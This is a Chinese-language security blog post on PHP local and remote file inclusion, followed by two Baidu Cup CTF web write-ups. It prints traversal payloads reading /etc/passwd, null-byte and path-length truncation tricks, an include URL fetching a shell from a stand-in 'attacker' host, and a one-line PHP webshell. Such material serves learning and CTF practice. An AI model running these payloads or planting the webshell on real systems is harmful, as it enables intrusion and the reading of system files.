文件包含一些常识

一些简单的文件包含内容吧

文件包含介绍

严格来说,文件包含漏洞是“代码注入“的一种。代码注入的原理就是注入一段用户能控制的脚本或代码,并让服务端执行。

代码注入的典型代表就是文件包含。文件包含可能会出现在JSP、PHP、ASP等语言中。

常见的导致文件包含的函数如下:

PHP: include(), include_once(), require(),require_once, fopen(), readfile() ….

JSP/Servlet: ava.io.File(),java.io.FileReader() …

ASP:include file, include virtual…

PHP文件包含主要由这四个函数完成:

include()

require()

include_once()

require_once()

当使用这4个函数包含一个新的文件时,该文件将作为PHP代码执行,PHP内核并不会在意该被包含文件是什么类型。所以如果被包含的是txt文件、图片文件、远程URL,也都将作为PHP代码执行

  • 比如DVWA low等级的文件上传
    在同目录留一个包含了可执行的PHP代码的txt文件
    再执行漏洞URL,发现代码被执行了

要成功的利用文件包含漏洞,需要满足下面两个条件:

1. include()等函数通过动态变量的方式引入需要包含的文件
2. 用户能够控制该动态变量

下面我们深入看看文件包含漏洞还能导致哪些后果

本地文件包含

普通本地文件包含

能够打开并包含本地文件的漏洞,被称为本地文件包含漏洞(Local File Inclusion/LFI)。比如下面这段代码就存在LFI漏洞。

  • 用户能够控制参数file。当file的值为../../etc/passwd时,PHP将访问/etc/passwd文件。

但是在此之前,还需要解决Include‘/home/wwwrun/’.$file.’.php’;

  • 这种写法将变量与字符串连接起来,假如用户控制$file的值为../../etc/passwd,结果为include‘/home/wwwrun/../../etc/passwd.php’;被包含的文件实际上是/etc/passwd.php,但是实际上这个文件是不存在的

有限制的本地文件包含

%00截断

PHP内核是由C语言实现的,因此使用了C语言中 的一些字符串处理函数。在连接字符串时,0字节(\x00)将作为字符串结束符。所以在这个地方,只要在最后加入一个0字节,就能截断file变量之后的字符串,即

../../etc/passwd\0

在Web输入时只需URL编码一下,变成

../../etc/passwd%00

(需要 magic_quotes_gpc=off,PHP小于5.3.4有效)

%00截断目录遍历

?file=../../../../../../../../../var/www/%00

(需要 magic_quotes_gpc=off,unix文件系统,比如FreeBSD,OpenBSD,NetBSD,Solaris)

构造长目录截断

但是光防御0字节是肯定不够的。俗话说上有政策下有对策,国内的安全研究者cloie发现了一个技巧——利用操作系统对目录最大长度的限制,可以不需要0字节而达到截断的目的。

目录字符串在Windows下256字节、Linux下4096字节时达到最大值,最大值长度之后的字符将被丢弃。

而只需通过【./】就可以构造出足够长的目录。比如

././././././././././././././././passwd

或者

////////////////////////passwd

又或者

../1/abc/../1/abc/../1/abc..

(php版本小于5.2.8(?)可以成功,linux需要文件名长于4096,windows需要长于256)

点号截断

?file=../../../../../../../../../boot.ini/………[…]…………

(php版本小于5.2.8(?)可以成功,只适用windows,点号需要长于256)

普通远程文件包含

如果PHP的配置选项allow_url_include为ON的话(默认是关闭的),则include/require函数是可以加载远程文件的,这种漏洞被称为远程文件包含漏洞(Remote File Inclusion,简称RFI)

例如:

在$basePath前没有设置任何障碍,因此攻击者可以构造类似如下的恶意URL:

/?param=http://attacker/phpshell.txt?

最终加载的代码实际上执行了:

require_once 'http://attacker/phpshell.txt?/action/m_share.php';

问号后面的代码最终被解释成URL的querystring(查询用字符串),这也算一种截断方式,这是利用远程文件包含漏洞时的常见技巧。同样,%00也可以作为截断符号

本地文件包含的利用技巧

本地文件包含漏洞,是有机会执行php代码的,但这取决于一些条件

经过不懈研究,安全研究者总结出了一下几种常见的技巧,用于本地文件包含后执行php代码。

  1. 包含用户上传的文件
  2. 包含data://或php://input等伪协议
  3. 包含session文件
  4. 包含日志文件
  5. 包含/proc/self/environ
  6. 包含上传的临时文件
  7. 包含其他应用创建的文件,如数据库文件,缓存文件,应用日志等,需 具体问题具体分析

百度杯web

无聊逛wp,突然看到百度杯web的wp,然后看了几道稍微简单一点的,觉得挺有意思的就记录一下.

include

这是道长见识的题目,不得不说好。
题目提示: 没错!就是文件包含漏洞。

代码很简单考的也都是简单的知识点。根据代码必须设置path的值
查看phpinfo()得到

allow_url_fopen off  能否打开URL文件
allow_url_include on  能否包含URL文件(file_get_contents 不受影响)

再来谈谈PHP伪协议php://input

输入数据流php://input
代表可以访问请求的原始数据,简单来说POST请求的情况下,php://input可以获取到post的数据。
比较特殊的一点,enctype=”multipart/form-data” 的时候 php://input 是无效的。

那么在include('php://input')情况下,PHP将其视为URL资源
只有在allow_url_include = on 的情况下才能使用

本题就是利用这一点实现webshell的执行


这题主要是了解,当allow_url_include = on时可以用input伪协议来达到命令执行效果.

notebook

这题非常不错考的基础知识点,和大家分享一下

  • 首先看见的就是文件包含,利用扫描工具扫一下

    看见了phpinfo.php & robots.txt
  • 回到主页面上

    典型的文件包含.像登陆这种题目 不是注入就是session漏洞
    没有扫描到注入点,先考虑的就是session漏洞

  • 看一下phpinfo都提供什么信息

    看见了session的路径信息,尝试去包含发现怎么都没有回显(这里实现注册username = <?php phpinfo(); ?>)

  • 接下来在phpinfo里发现有基础路径

    所以我们只能利用相对路径尝试获取session文件
    这里怀疑他在生成session的时候重设了session存放路径,果不其然


没有回显怀疑是过滤了关键字,利用base64转一下
重新上传恶意脚本

1
<?php $_GET['a'](base64_encode($_GET['b'])); ?>

这题主要是思路,登陆题目一般都是注入和session漏洞.

×

纯属好玩

扫码支持
扫码打赏,你说多少就多少

打开支付宝扫一扫,即可进行扫码打赏哦

文章目录
  1. 1. 文件包含介绍
    1. 1.1. 本地文件包含
      1. 1.1.1. 普通本地文件包含
      2. 1.1.2. 有限制的本地文件包含
        1. 1.1.2.1. %00截断
        2. 1.1.2.2. %00截断目录遍历
        3. 1.1.2.3. 构造长目录截断
        4. 1.1.2.4. 点号截断
    2. 1.2. 普通远程文件包含
  2. 2. 本地文件包含的利用技巧
  3. 3. 百度杯web
    1. 3.1. include
    2. 3.2. notebook
,